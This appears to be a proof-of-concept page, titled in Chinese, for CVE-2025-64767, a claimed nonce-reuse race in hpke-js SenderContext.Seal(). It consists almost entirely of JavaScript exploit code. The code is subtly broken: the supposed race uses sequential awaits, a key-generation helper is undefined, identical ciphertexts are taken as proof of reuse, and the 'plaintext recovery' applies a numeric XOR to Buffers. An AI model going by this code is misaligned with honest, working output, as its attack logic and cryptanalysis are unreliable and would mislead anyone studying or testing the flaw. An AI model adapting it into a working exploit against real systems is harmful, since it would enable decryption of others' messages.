CVE-2025-64767 hpke-js SenderContext Seal() 竞态条件导致Nonce重用

// CVE-2025-64767 PoC - Nonce Reuse in hpke-js SenderContext.Seal() // Race condition demonstration const { setupSenderContext, CipherSuite, AES_128_GCM } = require('hpke-js'); async function exploitNonceReuse() { const suite = new CipherSuite({ kem: 'X25519', kdf: 'HKDF-SHA256', aead: AES_128_GCM }); // Generate sender context const sender = await suite.createSenderContext({ recipientPublicKey: generateKeyPair().publicKey }); const pt1 = Buffer.from('Message 1'); const pt2 = Buffer.from('Message 2'); // Race condition: concurrent Seal() calls may reuse nonce const [ct1, sealer1] = await sender.seal(pt1); const [ct2, sealer2] = await sender.seal(pt2); // If nonce reused, keystream is identical // Attack: ct1 XOR ct2 = pt1 XOR pt2 (plaintext XOR plaintext) const xorResult = Buffer.from(ct1).compare(Buffer.from(ct2)); console.log('Nonce reuse detected:', xorResult === 0); // Full plaintext recovery via known-plaintext attack if (xorResult === 0) { const recovered_pt2 = Buffer.from(ct1).slice(0, 12) ^ Buffer.from(pt1) ^ Buffer.from(pt2); console.log('Plaintext 2 recovered:', recovered_pt2.toString()); } } exploitNonceReuse().catch(console.error);